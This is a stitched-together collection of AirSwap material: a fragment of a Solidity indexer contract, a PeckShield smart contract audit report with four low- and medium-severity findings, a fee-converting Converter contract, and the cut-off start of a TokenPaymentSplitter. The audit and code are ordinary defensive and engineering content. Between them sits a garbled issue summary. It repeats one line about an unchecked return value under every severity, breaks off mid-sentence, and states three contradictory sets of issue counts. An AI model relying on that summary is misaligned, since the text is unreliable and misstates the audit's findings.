limit ) external view returns ( bytes32[] memory locators, uint256[] memory scores, address nextCursor ) { // Ensure neither token is blacklisted. if (tokenBlacklist[signerToken] || tokenBlacklist[senderToken]) { return (new bytes32[](0), new uint256[](0), address(0)); } // Ensure the index exists. if (indexes[signerToken][senderToken] == Index(0)) { return (new bytes32[](0), new uint256[](0), address(0)); } return indexes[signerToken][senderToken].getLocators(cursor, limit); } /** * @notice Gets the Stake Amount for a User * @param user address User who staked * @param signerToken address Signer token the user staked on * @param senderToken address Sender token the user staked on * @return uint256 Amount the user staked */ function getStakedAmount( address user, address signerToken, address senderToken ) public view returns (uint256 stakedAmount) { if (indexes[signerToken][senderToken] == Index(0)) { return 0; } // Return the score, equivalent to the stake amount. return indexes[signerToken][senderToken].getScore(user); } function _updateIntent( address user, address signerToken, address senderToken, uint256 newAmount, bytes32 newLocator, uint256 oldAmount ) internal { // If the new stake is bigger, collect the difference. if (oldAmount < newAmount) { // Note: SafeMath not required due to the inequality check above require(stakingToken.transferFrom(user, address(this), newAmount - oldAmount), "UNABLE_TO_STAKE"); } // If the old stake is bigger, return the excess. if (newAmount < oldAmount) { // Note: SafeMath not required due to the inequality check above require(stakingToken.transfer(user, oldAmount - newAmount)); } // Unset their old intent, and set their new intent. indexes[signerToken][senderToken].unsetLocator(user); indexes[signerToken][senderToken].setLocator(user, newAmount, newLocator); emit Stake(user, signerToken, senderToken, newAmount); } /** * @notice Unset intents and return staked tokens * @param user address Address of the user who staked * @param signerToken address Signer token of the trading pair * @param senderToken address Sender token of the trading pair */ function _unsetIntent( address user, address signerToken, address senderToken ) internal indexExists(signerToken, senderToken) { // Get the score for the user. uint256 score = indexes[signerToken][senderToken].getScore(user); // Unset the locator on the index. indexes[signerToken][senderToken].unsetLocator(user); if (score > 0) { // Return the staked tokens. Reverts on failure. require(stakingToken.transfer(user, score)); } emit Unstake(user, signerToken, senderToken, score); } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./TokenPaymentSplitter.sol"; interface IUniswapV2Router02 { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /** * @title AirSwap Converter: Convert Fee Tokens * @notice https://www.airswap.io/ */ contract Converter is Ownable, ReentrancyGuard, TokenPaymentSplitter { using SafeERC20 for IERC20; address public wETH; address public swapToToken; address public immutable uniRouter; uint256 public triggerFee; mapping(address => address[]) private tokenPathMapping; event ConvertAndTransfer( address triggerAccount, address swapFromToken, address swapToToken, uint256 amountTokenFrom, uint256 amountTokenTo, address[] recievedAddresses ); event DrainTo(address[] tokens, address dest); constructor( address _wETH, address _swapToToken, address _uniRouter, uint256 _triggerFee, address[] memory _payees, uint256[] memory _shares ) TokenPaymentSplitter(_payees, _shares) { wETH = _wETH; swapToToken = _swapToToken; uniRouter = _uniRouter; setTriggerFee(_triggerFee); } /** * @dev Set a new address for WETH. **/ function setWETH(address _swapWETH) public onlyOwner { require(_swapWETH != address(0), "MUST_BE_VALID_ADDRESS"); wETH = _swapWETH; } /** * @dev Set a new token to swap to (e.g., stabletoken). **/ function setSwapToToken(address _swapToToken) public onlyOwner { require(_swapToToken != address(0), "MUST_BE_VALID_ADDRESS"); swapToToken = _swapToToken; } /** * @dev Set a new fee (perentage 0 - 100) for calling the ConvertAndTransfer function. */ function setTriggerFee(uint256 _triggerFee) public onlyOwner { require(_triggerFee <= 100, "FEE_TOO_HIGH"); triggerFee = _triggerFee; } /** * @dev Set a new Uniswap router path for a token. */ function setTokenPath(address _token, address[] memory _tokenPath) public onlyOwner { uint256 pathLength = _tokenPath.length; for (uint256 i = 0; i < pathLength; i++) { tokenPathMapping[_token].push(_tokenPath[i]); } } /** * @dev Converts an token in the contract to the SwapToToken and transfers to payees. * @param _swapFromToken The token to be swapped from. * @param _amountOutMin The amount to be swapped and distributed. */ function convertAndTransfer(address _swapFromToken, uint256 _amountOutMin) public onlyOwner nonReentrant { // Checks that at least 1 payee is set to recieve converted token. require(_payees.length >= 1, "PAYEES_MUST_BE_SET"); // Checks that _amountOutMin is at least 1 require(_amountOutMin > 0, "INVALID_AMOUNT_OUT"); // Calls the balanceOf function from the to be converted token. uint256 tokenBalance = _balanceOfErc20(_swapFromToken); // Checks that the converted token is currently present in the contract. require(tokenBalance > 0, "NO_BALANCE_TO_CONVERT"); // Read or set the path for AMM. if (_swapFromToken != swapToToken) { address[] memory path; if (tokenPathMapping[_swapFromToken].length > 0) { path = getTokenPath(_swapFromToken); } else { tokenPathMapping[_swapFromToken].push(_swapFromToken); tokenPathMapping[_swapFromToken].push(wETH); if (swapToToken != wETH) { tokenPathMapping[_swapFromToken].push(swapToToken); } path = getTokenPath(_swapFromToken); } // Approve token for AMM usage. _approveErc20(_swapFromToken, tokenBalance); // Calls the swap function from the on-chain AMM to swap token from fee pool into reward token. IUniswapV2Router02(uniRouter) .swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenBalance, _amountOutMin, path, address(this), block.timestamp ); } // Calls the balanceOf function from the reward token to get the new balance post-swap. uint256 totalPayeeAmount = _balanceOfErc20(swapToToken); // Calculates trigger reward amount and transfers to msg.sender. if (triggerFee > 0) { uint256 triggerFeeAmount = (totalPayeeAmount * triggerFee) / 100; _transferErc20(msg.sender, swapToToken, triggerFeeAmount); totalPayeeAmount = totalPayeeAmount - triggerFeeAmount; } // Transfers remaining amount to reward payee address(es). for (uint256 i = 0; i < _payees.length; i++) { uint256 payeeAmount = (totalPayeeAmount * _shares[_payees[i]]) / _totalShares; _transferErc20(_payees[i], swapToToken, payeeAmount); } emit ConvertAndTransfer( msg.sender, _swapFromToken, swapToToken, tokenBalance, totalPayeeAmount, _payees ); } /** * @dev Drains funds from provided list of tokens * @param _transferTo Address of the recipient. * @param _tokens List of tokens to transfer from the contract */ function drainTo(address _transferTo, address[] calldata _tokens) public onlyOwner { for (uint256 i = 0; i < _tokens.length; i++) { uint256 balance = _balanceOfErc20(_tokens[i]); if (balance > 0) { _transferErc20(_transferTo, _tokens[i], balance); } } emit DrainTo(_tokens, _transferTo); } /** * @dev Add a recipient to receive payouts from the consolidateFeeToken function. * @param _account Address of the recipient. * @param _shares Amount of shares to determine th proportion of payout received. */ function addPayee(address _account, uint256 _shares) public onlyOwner { _addPayee(_account, _shares); } /** * @dev Remove a recipient from receiving payouts from the consolidateFeeToken function. * @param _account Address of the recipient. * @param _index Index number of the recipient in the array of recipients. */ function removePayee(address _account, uint256 _index) public onlyOwner { _removePayee(_account, _index); } /** * @dev View Uniswap router path for a token. */ function getTokenPath(address _token) public view onlyOwner returns (address[] memory) { return tokenPathMapping[_token]; } /** * @dev Internal function to approve ERC20 for AMM calls. * @param _tokenToApprove Address of ERC20 to approve. * @param _amount Amount of ERC20 to be approved. * * */ function _approveErc20(address _tokenToApprove, uint256 _amount) internal { require( IERC20(_tokenToApprove).approve(address(uniRouter), _amount), "APPROVE_FAILED" ); } /** * @dev Internal function to transfer ERC20 held in the contract. * @param _recipient Address to receive ERC20. * @param _tokenContract Address of the ERC20. * @param _transferAmount Amount or ERC20 to be transferred. * * */ function _transferErc20( address _recipient, address _tokenContract, uint256 _transferAmount ) internal { IERC20(_tokenContract).safeTransfer(_recipient, _transferAmount); } /** * @dev Internal function to call balanceOf on ERC20. * @param _tokenToBalanceOf Address of ERC20 to call. * * */ function _balanceOfErc20(address _tokenToBalanceOf) internal view returns (uint256) { IERC20 erc; erc = IERC20(_tokenToBalanceOf); uint256 tokenBalance = erc.balanceOf(address(this)); return tokenBalance; } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** * @title TokenPaymentSplitter * @dev Modified version of OpenZeppelin's PaymentSplitter contract. This contract allows to split Token payments * among a group of accounts. The sender does not need to be aware that the Token will be split in this way, since * it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. * * The 